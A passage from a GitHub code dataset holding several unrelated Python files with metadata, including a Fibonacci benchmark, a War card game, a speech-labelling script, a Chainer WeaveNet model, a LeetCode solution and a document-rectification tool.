_triggerNewbieTaskCompleteEvent(event):\n \"\"\"\n 新手任务完成\n \"\"\"\n userId = event.userId\n checkinDay = getCheckinDay(userId)\n if checkinDay:\n module_tip.addModuleTipEvent(userId, \"checkin\", checkinDay)\n\n\n_inited = False\n\n\ndef initialize():\n ftlog.info(\"newfish checkin initialize begin\")\n global _inited\n if not _inited:\n _inited = True\n from newfish.game import TGFish\n from newfish.entity.event import NewbieTaskCompleteEvent\n TGFish.getEventBus().subscribe(NewbieTaskCompleteEvent, _triggerNewbieTaskCompleteEvent) # 新手任务完成事件\n ftlog.info(\"newfish checkin initialize end\")","repo_name":"isoundy000/learn_python","sub_path":"learn_tu_you/wx_superboss/trunk/hall37-newfish/src/newfish/entity/checkin.py","file_name":"checkin.py","file_ext":"py","file_size_in_byte":11307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34304501145","text":"import time\n\nfrom functools import lru_cache\n\nfibo_cache = {}\n\n\n# BEST APPROACH (requires module). Avg. Time: 4481ms\n@lru_cache(maxsize=None)\ndef fibonacci(n):\n if n in [0, 1]:\n return n\n return fibonacci(n - 1) + fibonacci(n - 2)\n\n\n# 2ND APPROACH. Avg. Time: 4745ms\ndef fibonacci(n):\n if n in fibo_cache:\n return fibo_cache[n]\n if n in [0, 1]:\n return n\n val = fibonacci(n - 1) + fibonacci(n - 2)\n fibo_cache[n] = val\n return val\n\n\n# 3RD method Best. Avg. Time: 4965ms\ndef fibo(n):\n f = [0, 1]\n if n in fibo_cache:\n return fibo_cache[n]\n for i in range(2, n + 1):\n (f.append(f[-1] + f[-2]))\n fibo_cache[n] = f[n]\n print(fibo_cache)\n return print(f[n])\n\n\nn1 = 100\n\n\ndef test(n):\n start = time.time()\n fibo(n1)\n print(str((time.time()) - start) + ' seconds')\n # fibonacci(n1)\n # print(str((time.time()) - start) + ' seconds')\n '''for i in range(1, 1000): # checking the rate of growth for fun\n print(fibonacci(i + 1) / fibonacci(i))\n this gives the golden ratio'''\ntest(n1)\n\n'''\nPrevious attempt\n\nfibo_cache = {}\ndef fibonacci(n):\n if n in fibo_cache:\n return fibo_cache[n]\n if n in [0, 1]:\n return n\n val = fibonacci(n - 1) + fibonacci(n - 2)\n fibo_cache[n] = val\n return val\n\nn1 = 50 result is 12586269025 and took >5min with the code wars sample code\nn1 = 100 for this function took 0.0006 seconds in average, same as the answer above.\n'''\n","repo_name":"eersnington/CodeWarsSolutions","sub_path":"5 kyu/Memoized Fibonacci.py","file_name":"Memoized Fibonacci.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7723871403","text":"from war_classes import *\nfrom time import sleep\n\np1 = Player(\"P1\")\np2 = Player(\"P2\")\n\ngame_deck = Deck()\ngame_deck.shuffle()\n\n# Split deck between players\nfor card in range(26):\n p1.add_cards(game_deck.deal_one())\n p2.add_cards(game_deck.deal_one())\n\nplaying_game = True\nround_count = 0\n\nwhile playing_game:\n\n #Display current round\n round_count+=1\n print(f\"Round {round_count}\")\n\n #Check win conditions, break out of loop if reached\n if len(p1.all_cards) == 0:\n print(\"Player 2 wins, player 1 has no cards\")\n playing_game = False\n break\n\n if len(p2.all_cards) == 0:\n print(\"Player 1 wins, player 2 has no cards\")\n playing_game = False\n break\n\n # Set/reset the hand of both players to zero cards and draw one for each\n p1_cards = []\n p1_cards.append(p1.remove_one())\n\n p2_cards = []\n p2_cards.append(p2.remove_one())\n\n #Check for round win condtions/war\n at_war = True\n\n while at_war:\n print(f\"Player 1 has a {p1_cards[-1].rank}\")\n print(f\"Player 2 has a {p2_cards[-1].rank}\")\n\n if p1_cards[-1].value > p2_cards[-1].value:\n p1.add_cards(p1_cards)\n p1.add_cards(p2_cards)\n print(\"Player 1 wins the round\")\n at_war = False\n sleep(1)\n print(\"\\n\\n\")\n\n elif p2_cards[-1].value > p1_cards[-1].value:\n p2.add_cards(p1_cards)\n p2.add_cards(p2_cards)\n print(\"Player 2 wins the round\")\n at_war = False\n sleep(1)\n print(\"\\n\\n\")\n\n # Going to war\n else:\n print(\"War!\")\n #Check if both players afford to go to war\n if len(p1.all_cards) < 10:\n print(\"Player 2 wins, player 1 couldn't go to war\")\n playing_game = False\n break\n\n if len(p2.all_cards) < 10:\n print(\"Player 1 wins, player 2 couldn't go to war\")\n playing_game = False\n break\n\n #Each player draws 10 more cards\n else:\n for x in range(10):\n p1_cards.append(p1.remove_one())\n p2_cards.append(p2.remove_one())","repo_name":"AnthonyYos/War","sub_path":"war.py","file_name":"war.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"29028792508","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 20 14:57:02 2020\n\n@author: chenjunze\n\"\"\"\n\nimport speech_recognition as sr\nimport pyaudio\nimport numpy as np\n\n\ndef Voice_To_Text():\n final_text = ['[CLS]']\n r = sr.Recognizer()\n with sr.Microphone() as source: \n print(\"請開始說話:\") # print 一個提示 提醒你可以講話了\n r.adjust_for_ambient_noise(source) # 函數調整麥克風的噪音:\n audio = r.listen(source)\n try:\n Text = r.recognize_google(audio, language=\"zh-TW\")\n except sr.UnknownValueError:\n Text = \"無法翻譯\"\n except sr.RequestError as e:\n Text = \"無法翻譯{0}\".format(e)\n \n final_text.extend(list(Text)) #output sentence list\n \n return final_text\n\ndef output_file(file_name, text_all, BIO_all):\n f = open(file_name,'w')\n for i in range(len(text_all)):\n for j in range(len(text_all[i])):\n f.write(text_all[i][j]+' '+str(BIO_all[i][j])+'\\n')\n f.write('\\n')\n f.close\n \ndef formatoutput(final_text):\n BIO_format = list('O'*len(final_text)) #load sentence list\n #check list\n dict_tmp ={}\n for i in range(len(final_text)):\n dict_tmp[i] = final_text[i]\n print(dict_tmp)\n \n m = input('get(0) or spend(1) money:')\n B_item = input('B-item location:')\n I_item = input('I-item end location:')\n B_money = input('B-money location:')\n I_money = input('I-money end location:')\n \n BIO_format[0] = int(m)\n BIO_format[int(B_item)] = 'B-item'\n BIO_format[int(B_item)+1 : int(I_item)+1] = ['I-item' for i in range(int(I_item) - int(B_item))]\n BIO_format[int(B_money)] = 'B-money'\n BIO_format[int(B_money)+1 : int(I_money)+1] = ['I-money' for i in range(int(I_money) - int(B_money))]\n \n return BIO_format\n\n# make data\ndata_number = 24\nText_all = []\nBIO_all = []\nfor i in range(data_number):\n c = input(str(i+1)+'th time, if ready enter any word:')\n\n Text = Voice_To_Text()\n print(Text)\n c = input('is this sentence correct?(y or n)')\n while c =='n':\n Text = Voice_To_Text()\n print(Text)\n c = input('is this sentence correct?(y or n)')\n Text_all.append(Text)\n \n BIO_Text = formatoutput(Text)\n BIO_all.append(BIO_Text)\n \nfile = 'speech_output_expense_tmp.txt'\noutput_file(file,Text_all,BIO_all)\n\n\n\n\n","repo_name":"harrrrychen/speech-recognition-accountbot","sub_path":"sprecog_make_data.py","file_name":"sprecog_make_data.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37844261388","text":"import argparse\nimport json\nimport bs4\nimport urllib\nfrom os.path import realpath, dirname, join\n\nfrom spaCy2JSON import process as spacy_process\n\ndefault_outfile = 'nlp_output.json'\nhere = dirname(realpath(__file__))\npipelines = {\n 'spacy': spacy_process\n}\n\n\ndef write_file(data, name):\n with open(name, 'w') as fp:\n json.dump(data, fp, sort_keys=False, indent=4)\n print('wrote to {}'.format(name))\n\n\n#HTML visible text extractor\ndef tag_visible(element):\n if element.parent.name in ['style', 'script', 'head', 'title', 'meta', '[document]']:\n return False\n if isinstance(element, bs4.element.Comment):\n return False\n return True\n\n\ndef text_from_html(body):\n soup = bs.BeautifulSoup(body, 'html.parser')\n texts = soup.findAll(text=True)\n visible_texts = filter(tag_visible, texts)\n return u\" \".join(t.strip() for t in visible_texts)\n\n\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='NLP2Json')\n parser.add_argument('pipeline', type=str, help='which nlp pipeline to use')\n parser.add_argument('input_type', type=str, choices=['text', 'file', 'website'])\n parser.add_argument('input', type=str)\n args = parser.parse_args()\n\n if args.input_type == \"text\":\n print('parsing...')\n j = pipelines[args.pipeline](args.input)\n write_file(j, join(here, default_outfile))\n elif args.input_type == 'file':\n for file in args.input.split(','):\n print('parsing {}...'.format(file))\n out_file = '{}.json'.format(file)\n text = ''\n with open(join(here, file), 'r') as f:\n for line in f:\n text += line\n j = pipelines[args.pipeline](text)\n write_file(j, join(here, out_file))\n elif args.input_type == 'website':\n print('not implemented')\n\n print('done')\n\n url_path = \"https://www.google.com\"\n print('Parsing html link {}'.format(url_path))\n\n # sauce = requests.get(url_path)\n html = urllib.request.urlopen(url_path).read()\n print(text_from_html(html))\n","repo_name":"SemiringInc/JSON-NLP","sub_path":"src/python/nlp2json.py","file_name":"nlp2json.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"7"} +{"seq_id":"7774903393","text":"import chainer\nfrom chainer import functions\nfrom chainer import links\n\nfrom chainer_chemistry.config import MAX_ATOMIC_NUM\nfrom chainer_chemistry.config import WEAVE_DEFAULT_NUM_MAX_ATOMS\nfrom chainer_chemistry.links.connection.embed_atom_id import EmbedAtomID\nfrom chainer_chemistry.links.readout.general_readout import GeneralReadout\n\n\nWEAVENET_DEFAULT_WEAVE_CHANNELS = [50, ]\n\n\nclass LinearLayer(chainer.Chain):\n\n def __init__(self, n_channel, n_layer):\n super(LinearLayer, self).__init__()\n with self.init_scope():\n self.layers = chainer.ChainList(\n *[links.Linear(None, n_channel) for _ in range(n_layer)]\n )\n self.n_output_channel = n_channel\n\n def forward(self, x):\n n_batch, n_atom, n_channel = x.shape\n x = functions.reshape(x, (n_batch * n_atom, n_channel))\n for l in self.layers:\n x = l(x)\n x = functions.relu(x)\n x = functions.reshape(x, (n_batch, n_atom, self.n_output_channel))\n return x\n\n\nclass AtomToPair(chainer.Chain):\n def __init__(self, n_channel, n_layer, n_atom):\n super(AtomToPair, self).__init__()\n with self.init_scope():\n self.linear_layers = chainer.ChainList(\n *[links.Linear(None, n_channel) for _ in range(n_layer)]\n )\n self.n_atom = n_atom\n self.n_channel = n_channel\n\n def forward(self, x):\n n_batch, n_atom, n_feature = x.shape\n atom_repeat = functions.reshape(x, (n_batch, 1, n_atom, n_feature))\n atom_repeat = functions.broadcast_to(\n atom_repeat, (n_batch, n_atom, n_atom, n_feature))\n atom_repeat = functions.reshape(atom_repeat,\n (n_batch, n_atom * n_atom, n_feature))\n\n atom_tile = functions.reshape(x, (n_batch, n_atom, 1, n_feature))\n atom_tile = functions.broadcast_to(\n atom_tile, (n_batch, n_atom, n_atom, n_feature))\n atom_tile = functions.reshape(atom_tile,\n (n_batch, n_atom * n_atom, n_feature))\n\n pair_x0 = functions.concat((atom_tile, atom_repeat), axis=2)\n pair_x0 = functions.reshape(pair_x0,\n (n_batch * n_atom * n_atom, n_feature * 2))\n for l in self.linear_layers:\n pair_x0 = l(pair_x0)\n pair_x0 = functions.relu(pair_x0)\n pair_x0 = functions.reshape(pair_x0,\n (n_batch, n_atom * n_atom, self.n_channel))\n\n pair_x1 = functions.concat((atom_repeat, atom_tile), axis=2)\n pair_x1 = functions.reshape(pair_x1,\n (n_batch * n_atom * n_atom, n_feature * 2))\n for l in self.linear_layers:\n pair_x1 = l(pair_x1)\n pair_x1 = functions.relu(pair_x1)\n pair_x1 = functions.reshape(pair_x1,\n (n_batch, n_atom * n_atom, self.n_channel))\n return pair_x0 + pair_x1\n\n\nclass PairToAtom(chainer.Chain):\n def __init__(self, n_channel, n_layer, n_atom, mode='sum'):\n super(PairToAtom, self).__init__()\n with self.init_scope():\n self.linearLayer = chainer.ChainList(\n *[links.Linear(None, n_channel) for _ in range(n_layer)]\n )\n self.readout = GeneralReadout(mode=mode)\n self.n_atom = n_atom\n self.n_channel = n_channel\n self.mode = mode\n\n def forward(self, x):\n n_batch, n_pair, n_feature = x.shape\n a = functions.reshape(\n x, (n_batch * (self.n_atom * self.n_atom), n_feature))\n for l in self.linearLayer:\n a = l(a)\n a = functions.relu(a)\n a = functions.reshape(a, (n_batch, self.n_atom, self.n_atom,\n self.n_channel))\n a = self.readout(a, axis=2)\n return a\n\n\nclass WeaveModule(chainer.Chain):\n\n def __init__(self, n_atom, output_channel, n_sub_layer,\n readout_mode='sum'):\n super(WeaveModule, self).__init__()\n with self.init_scope():\n self.atom_layer = LinearLayer(output_channel, n_sub_layer)\n self.pair_layer = LinearLayer(output_channel, n_sub_layer)\n self.atom_to_atom = LinearLayer(output_channel, n_sub_layer)\n self.pair_to_pair = LinearLayer(output_channel, n_sub_layer)\n self.atom_to_pair = AtomToPair(output_channel, n_sub_layer, n_atom)\n self.pair_to_atom = PairToAtom(output_channel, n_sub_layer, n_atom,\n mode=readout_mode)\n self.n_atom = n_atom\n self.n_channel = output_channel\n self.readout_mode = readout_mode\n\n def forward(self, atom_x, pair_x, atom_only=False):\n a0 = self.atom_to_atom.forward(atom_x)\n a1 = self.pair_to_atom.forward(pair_x)\n a = functions.concat([a0, a1], axis=2)\n next_atom = self.atom_layer.forward(a)\n next_atom = functions.relu(next_atom)\n if atom_only:\n return next_atom\n\n p0 = self.atom_to_pair.forward(atom_x)\n p1 = self.pair_to_pair.forward(pair_x)\n p = functions.concat([p0, p1], axis=2)\n next_pair = self.pair_layer.forward(p)\n next_pair = functions.relu(next_pair)\n return next_atom, next_pair\n\n\nclass WeaveNet(chainer.Chain):\n \"\"\"WeaveNet implementation\n\n Args:\n weave_channels (list): list of int, output dimension for each weave\n module\n hidden_dim (int): hidden dim\n n_atom (int): number of atom of input array\n n_sub_layer (int): number of layer for each `AtomToPair`, `PairToAtom`\n layer\n n_atom_types (int): number of atom id\n readout_mode (str): 'sum' or 'max' or 'summax'\n \"\"\"\n\n def __init__(self, weave_channels=None, hidden_dim=16,\n n_atom=WEAVE_DEFAULT_NUM_MAX_ATOMS,\n n_sub_layer=1, n_atom_types=MAX_ATOMIC_NUM,\n readout_mode='sum'):\n weave_channels = weave_channels or WEAVENET_DEFAULT_WEAVE_CHANNELS\n weave_module = [\n WeaveModule(n_atom, c, n_sub_layer, readout_mode=readout_mode)\n for c in weave_channels\n ]\n\n super(WeaveNet, self).__init__()\n with self.init_scope():\n self.embed = EmbedAtomID(out_size=hidden_dim, in_size=n_atom_types)\n self.weave_module = chainer.ChainList(*weave_module)\n self.readout = GeneralReadout(mode=readout_mode)\n self.readout_mode = readout_mode\n\n def __call__(self, atom_x, pair_x, train=True):\n if atom_x.dtype == self.xp.int32:\n # atom_array: (minibatch, atom)\n atom_x = self.embed(atom_x)\n\n for i in range(len(self.weave_module)):\n if i == len(self.weave_module) - 1:\n # last layer, only `atom_x` is needed.\n atom_x = self.weave_module[i].forward(atom_x, pair_x,\n atom_only=True)\n else:\n # not last layer, both `atom_x` and `pair_x` are needed\n atom_x, pair_x = self.weave_module[i].forward(atom_x, pair_x)\n x = self.readout(atom_x, axis=1)\n return x\n","repo_name":"chainer/chainer-chemistry","sub_path":"chainer_chemistry/models/weavenet.py","file_name":"weavenet.py","file_ext":"py","file_size_in_byte":7235,"program_lang":"python","lang":"en","doc_type":"code","stars":587,"dataset":"github-code","pt":"7"} +{"seq_id":"70994472222","text":"'''\nCreated on Jul 3, 2012\n\n@author: bryanantigua\n'''\nfrom Tivly.models import Businesses, Rewards\nfrom CardSpringActions import createBusinessConnection,createAnApp\nimport string\nimport random\n\n########################################################\n##### BACKEND TOOLS #####\n########################################################\n\n\n \ndef IDGenerator(size=6, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for x in range(size))\n \n\ndef AddBusiness(values):\n b = Businesses(businessID = values['businessID'], businessName= values['businessName'],city = values['city'], \n street = values['street'], zipCode = values['zipcode'], mondayHours = values['mondayHours'], \n tuesdayHours = values['tuesdayHours'], wednesdayHours = values['wednesdayHours'],thursdayHours = values['thursdayHours'],\n fridayHours = values['fridayHours'], saturdayHours = values['saturdayHours'], sundayHours = values['sundayHours'], \n description = values['description'], pictureLocation = values['pictureLocation'],website = values['website'])\n createBusinessConnection(values['businessID'])\n b.save()\n \ndef AddReward(values, redemptionValues):\n r = Rewards(rID = values['rID'],appID = values['appID'],businessID = values['businessID'], description = values['description'],\n pointsNeeded = values['pointsNeeded'] )\n createAnApp(values['businessID'], redemptionValues)\n r.save()\n ","repo_name":"KFishner/tivly2012","sub_path":"Management.py","file_name":"Management.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24939153228","text":"import cv2\nimport numpy as np\nfrom scipy.spatial.distance import euclidean\nfrom skimage.io import imread\nimport matplotlib.pyplot as plt\n\n\n# Given a numpy array of 2D quadrangle corners,\n# rearranges the coordinates into the order\n# [top-left, top-right, bottom-right, bottom-left]\n# so that functions dependent on the orientation of the\n# polygon formed by the corners will work properly.\ndef fixOrientation(pts):\n # Only consider one set of corners\n pts_trunc = pts[:4]\n\n # Compute centroid\n center = np.mean(pts_trunc, axis=0)\n\n tops = []\n bottoms = []\n\n # Split into top/bottom corners\n for pt in pts_trunc:\n if pt[1] < center[1]:\n tops.append(pt)\n else:\n bottoms.append(pt)\n\n # Split top corners left and right\n tl, tr = (tops[0], tops[1]) if tops[0][0] < tops[1][0] else (\n tops[1], tops[0])\n\n # Split bottom corners left and right\n bl, br = (bottoms[0], bottoms[1]) if bottoms[0][0] < bottoms[1][0] else (\n bottoms[1], bottoms[0])\n\n return np.array([tl, tr, br, bl])\n\n\n# Given an image containing a document, (hopefully) returns a 2D numpy array\n# containing the coordinates of the corners of the document\ndef detectCorners(img):\n # Shrink image for faster computation\n # Also Gaussian kernel size 11x11 doesn't work on really large images\n resize = cv2.resize(img.copy(), (img.shape[1]//5, img.shape[0]//5))\n # Convert to grayscale\n gray = cv2.cvtColor(resize, cv2.COLOR_RGB2GRAY)\n # Smooth image\n gray = cv2.GaussianBlur(gray, (11, 11), 0)\n # Canny edge detection\n # Lower threshold was determined empirically\n # (i.e. I messed around with the value until it worked)\n can = cv2.Canny(np.uint8(gray), 125, 200)\n\n # Obtain contours of result of Canny detection\n # With mode=cv2.RETR_LIST, some images had nested contours with more than 4\n # total points; using RETR_EXTERNAL instead makes sure only the outermost\n # contour is considered for each possible contour\n cnts, hier = cv2.findContours(can,\n mode=cv2.RETR_EXTERNAL, # Only give outermost contours\n method=cv2.CHAIN_APPROX_SIMPLE)\n\n # Iterate through possible contours to find\n # the one corresponding with the document\n for cnt in cnts:\n # Get perimeter of current contour\n peri = cv2.arcLength(cnt, closed=True)\n # Approximate closed polygon from current contour\n # with maximum perimeter difference of 1%\n approx = cv2.approxPolyDP(cnt, epsilon=0.01 * peri, closed=True)\n\n # If this contour has four points, we can\n # assume we've found the document\n if len(approx) == 4:\n break\n\n # Return corners of contour as a 2D numpy array (resized to match original)\n # NOTE: This might not give exactly 4 corners. I have no idea what happens\n # or why rectification might still work if it doesn't.\n pts = np.array([5 * approx[i][0] for i in range(approx.shape[0])])\n\n # Make sure orientation of corners is as expected\n if len(pts) >= 4:\n pts = fixOrientation(pts)\n\n return pts\n\n\n# Given an image and set of 4 corner points denoting a perspective-warped\n# rectangle, computes the actual aspect ratio of the rectangle and returns\n# a width/height tuple at the obtained ratio\ndef getPerspectiveDimensions(img, pts):\n # Principal point (u0, v0) is center of image\n # This doesn't necessarily apply to all cameras, but it does for most\n u0 = img.shape[1] / 2.0\n v0 = img.shape[0] / 2.0\n\n w1 = euclidean(pts[3], pts[2])\n w2 = euclidean(pts[0], pts[1])\n\n h1 = euclidean(pts[3], pts[0])\n h2 = euclidean(pts[2], pts[1])\n\n w = max(w1, w2)\n h = max(h1, h2)\n\n ar_vis = float(w) / float(h)\n\n m1 = np.array((pts[3][0], pts[3][1], 1)).astype('float32')\n m2 = np.array((pts[2][0], pts[2][1], 1)).astype('float32')\n m3 = np.array((pts[0][0], pts[0][1], 1)).astype('float32')\n m4 = np.array((pts[1][0], pts[1][1], 1)).astype('float32')\n\n k2 = np.dot(np.cross(m1, m4), m3) / np.dot(np.cross(m2, m4), m3)\n k3 = np.dot(np.cross(m1, m4), m2) / np.dot(np.cross(m3, m4), m2)\n\n n2 = k2 * m2 - m1\n n3 = k3 * m3 - m1\n\n n21, n22, n23 = n2[:3]\n n31, n32, n33 = n3[:3]\n\n f = np.sqrt(\n np.abs( # Need abs to avoid sqrt of negative\n (1.0 / (n23*n33)) # Pixels are square so s = 1\n * ((n21*n31 - (n21*n33 + n23*n31)*u0 + n23*n33*u0**2)\n + (n22*n32 - (n22*n33 + n23*n32)*v0 + n23*n33*v0**2))\n )\n )\n\n A = np.array([[f, 0, u0],\n [0, f, v0], # Again s = 1, so s*f = f\n [0, 0, 1]]).astype('float32')\n\n At = np.transpose(A)\n # Not particularly fast but meh\n Ati = np.linalg.inv(At)\n Ai = np.linalg.inv(A)\n\n # Actual aspect ratio\n ar_real = np.sqrt(np.dot(np.dot(np.dot(n2, Ati), Ai), n2)\n / np.dot(np.dot(np.dot(n3, Ati), Ai), n3))\n\n if ar_real < ar_vis:\n new_w = int(w)\n new_h = int(new_w / ar_real)\n else:\n new_h = int(h)\n new_w = int(ar_real * new_h)\n\n return (new_w, new_h)\n\n\n# Computes the homography matrix needed to convert the\n# four points in im1_points to those in im2_pts\ndef computeH(im1_pts, im2_pts):\n A = []\n\n # Build matrix A using points from images, b gets zeroes\n for i in range(4):\n A.append([-im1_pts[i, 0], -im1_pts[i, 1], -1,\n 0, 0, 0,\n im1_pts[i, 0] * im2_pts[i, 0], im1_pts[i, 1] * im2_pts[i, 0], im2_pts[i, 0]])\n A.append([0, 0, 0,\n -im1_pts[i, 0], -im1_pts[i, 1], -1,\n im2_pts[i, 1] * im1_pts[i, 0], im2_pts[i, 1] * im1_pts[i, 1], im2_pts[i, 1]])\n\n # Build b and append 9th row/value\n b = [0, 0, 0, 0, 0, 0, 0, 0, 1]\n A.append(b)\n\n # Solve for homography using least squares solution\n H = np.resize(np.linalg.lstsq(A, b, rcond=None)[0], (3, 3))\n return H\n\n\n# Given an image containing a rectangular document, performs homography\n# warping to rectify document into upright, forward-facing rectangle\ndef rectify(img):\n print('\\nWould you like to input corner coordinates manually? (enter \\'Y\\' for manual input, or enter anything else for automatic corner detection):')\n\n choice = str(input())\n\n if len(choice) == 1 and choice.lower() == 'y':\n # Get coordinates of corners through console input\n\n pts = []\n\n # No input validation happens here, please put proper values :)\n print('Enter x- and y-coordinate of top-left corner, separated by a space:')\n coords = input().split()\n pts.append([int(coords[0]), int(coords[1])])\n\n print('Enter x- and y-coordinate of top-right corner:')\n coords = input().split()\n pts.append([int(coords[0]), int(coords[1])])\n\n print('Enter x- and y-coordinate of bottom-right corner:')\n coords = input().split()\n pts.append([int(coords[0]), int(coords[1])])\n\n print('Enter x- and y-coordinate of bottom-left corner:')\n coords = input().split()\n pts.append([int(coords[0]), int(coords[1])])\n\n pts = np.array(pts)\n else:\n # Otherwise, automatically detect document corners\n pts = detectCorners(img)\n if len(pts) < 4:\n return None\n\n # Get width and height of rectified document rectangle\n w, h = getPerspectiveDimensions(img, pts)\n\n # Make sure document is upright (might still be upside-down but oh well)\n if w > h:\n # Need to \"rotate\" corner points around by 90 degrees\n pts[0], pts[1], pts[2], pts[3] = pts[3].copy(\n ), pts[0].copy(), pts[1].copy(), pts[2].copy()\n\n # And swap width/height\n w, h = h, w\n\n # Set up new rectangular points\n new_pts = np.array([[0, 0], [w, 0], [w, h], [0, h]])\n\n # Compute homography matrix\n H = computeH(pts, new_pts)\n # Apply homography\n warp = cv2.warpPerspective(img, H, (w, h))\n\n return warp\n\n\n# List of image URLs to run the method on\n# Feel free to un-comment or add some, I guess\nurls = [\n 'https://i.imgur.com/KVOxPCT.jpg', # Sheet music 1\n # Sheet music 2 (less extreme angle)\n 'https://i.imgur.com/YH7HVC0.jpg',\n 'https://i.imgur.com/OoOSEDY.jpg', # Sheet music 2, rotated 90deg clockwise\n 'https://i.redd.it/bebi64i3kbb31.jpg', # Channel list\n]\n\n# Base size for image display (large images are tough to see in tiny console)\n# Set to 0 for original-size images\nsize = 500\n\nfor i, url in enumerate(urls):\n print('Image ', i + 1, ':', sep='')\n\n # Read image, store original in case img is modified\n img = np.float32(imread(url))\n og = img.copy()\n\n # Obtain rectified image\n res = rectify(img)\n # If there was an error (probably no document detected), skip\n if res is None:\n print('No document detected in image.')\n continue\n\n # Display original\n print('\\nOriginal:')\n og_bgr = cv2.cvtColor(og, cv2.COLOR_RGB2BGR)\n if size == 0:\n plt.imshow(cv2.cvtColor(og, cv2.COLOR_RGB2BGR))\n else:\n ratio = float(og.shape[1]) / float(og.shape[0])\n plt.imshow(cv2.resize(og_bgr, (int(ratio * size), size)))\n\n plt.show()\n\n # Display result\n print('\\nRectified:')\n res_bgr = cv2.cvtColor(res, cv2.COLOR_RGB2BGR)\n if size == 0:\n plt.imshow(res_bgr)\n else:\n watio = float(res.shape[1]) / float(res.shape[0])\n plt.imshow(cv2.resize(res_bgr, (int(watio * size), size)))\n\n plt.show()\n\n print('\\n\\n')\n","repo_name":"layyne/DocumentRectifier","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"44353060853","text":"\"\"\"\n===================================\nColor Blindness Detection Detection\n===================================\nThis example shows how to detect if the use of colors in\na visualization is friendly to people with color vision\ndeficiencies using the `accessiplot.detection.color_detection` module.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom accessiplot.detection.color_detection import full_detection\n\nx = np.arange(1, 6)\ny = np.array([100, 10, 300, 20, 500])\nnum_lines = 5\nfor i in range(num_lines):\n y_val = (np.random.rand(1, 5)).T\n plt.plot(x, y_val)\n\nare_issues, detections = full_detection(plt, )\n\nprint(\"Are issues present:\", are_issues)\nprint(\"Detections:\", detections)\n","repo_name":"charlesdrotar/accessiplot","sub_path":"examples/color_detection/example_color_detection.py","file_name":"example_color_detection.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"7724347590","text":"class Solution:\n def totalStrength(self, strength: List[int]) -> int:\n n = len(strength)\n nextSmaller = [n]*n\n MOD = 7 + 10**9\n stack = deque()\n \n for i in range(n-1,-1,-1):\n cur = strength[i]\n while len(stack)>0 and strength[stack[-1]]>=cur:\n stack.pop()\n if len(stack)>0:\n nextSmaller[i] = stack[-1]\n stack.append(i)\n \n stack = deque()\n \n prevSmaller = [-1]*n\n \n for i in range(n):\n cur = strength[i]\n while len(stack)>0 and strength[stack[-1]]>cur:\n stack.pop()\n if len(stack)>0:\n prevSmaller[i] = stack[-1]\n stack.append(i)\n \n # print(nextSmaller,prevSmaller)\n \n prefixSum = [0]\n for num in strength:\n prefixSum.append((prefixSum[-1]+num)%MOD)\n \n ppSum = [prefixSum[0]]\n for i in range(1,len(prefixSum)):\n ppSum.append((prefixSum[i]+ppSum[-1])%MOD)\n \n # print(prefixSum,ppSum)\n \n# for given index i , where i is the index with smallest value, and its prev Smaller and next Smaller are prev and n\n# the elements would appear as such\n# prev+1 to i, prev+1 to i+1, prev+1 to i+2, ... prev+1 to n-1\n# prev+2 to i, prev+2 to i+1, prev+2 to i+2, ... prev+2 to n-1\n# ...\n# i to i, i to i+1, i to i+2, ... i to n-1\n \n# translating the above to prefix Sum analogies\n\n# pref[i+1]-pref[prev], pref[i+2]-pref[prev], pref[i+3]-pref[prev],... pref[n]-pref[prev]\n# pref[i+1]-pref[prev+1], pref[i+2]-pref[prev+1], pref[i+3]-pref[prev+1],...pref[n]-pref[prev+1]\n# pref[i+1]-pref[prev+2], pref[i+2]-pref[prev+2], pref[i+3]-pref[prev+2],...pref[n]-pref[prev+2]\n# ...\n# pref[i+1]-pref[i], pref[i+2]-pref[i], ... pref[n]-pref[i]\n\n\n# now we need to efficiently find the accumulated sum of all the entries listed above for each index in constant time per index. For that we need to compress the above terms\n\n# pref[i+1],pref[i+2],pref[i+3]... pref[n] are used with positive sign row number of times, which is i-prev+1 times\n# pref[prev],pref[prev+1],pref[prev+2],... pref[i] are each used with negative sign col number of times, which is n-i times \n\n# or basically its overall, (prefpref[n+1]-prefpref[i])*(i-prev+1)\n# plus (prefpref[i+1]-prefpref[prev+1])*(n-i)\n \n ans = 0\n for i in range(n):\n prev = prevSmaller[i]\n nex = nextSmaller[i]\n \n minus = ((ppSum[i]-(0 if prev==-1 else ppSum[prev]))*(nex-i))%MOD\n plus = ((ppSum[nex]-ppSum[i])*(i-prev))%MOD\n \n # print(i,prev,nex,plus,minus)\n ans += (strength[i]*(plus-minus))%MOD\n\n return ans%MOD","repo_name":"sudo-vaibhav/leetcode-solutions","sub_path":"2281-sum-of-total-strength-of-wizards/2281-sum-of-total-strength-of-wizards.py","file_name":"2281-sum-of-total-strength-of-wizards.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"7351761159","text":"# Задайте список из произвольных вещественных чисел, количество задаёт пользователь.\n# Напишите программу, которая найдёт разницу между максимальным и минимальным значением дробной части элементов.\n# in 5\n# out [5.16, 8.62, 6.57, 7.92, 9.22]\n# Min: 0.16, Max: 0.92. Difference: 0.76\nfrom random import 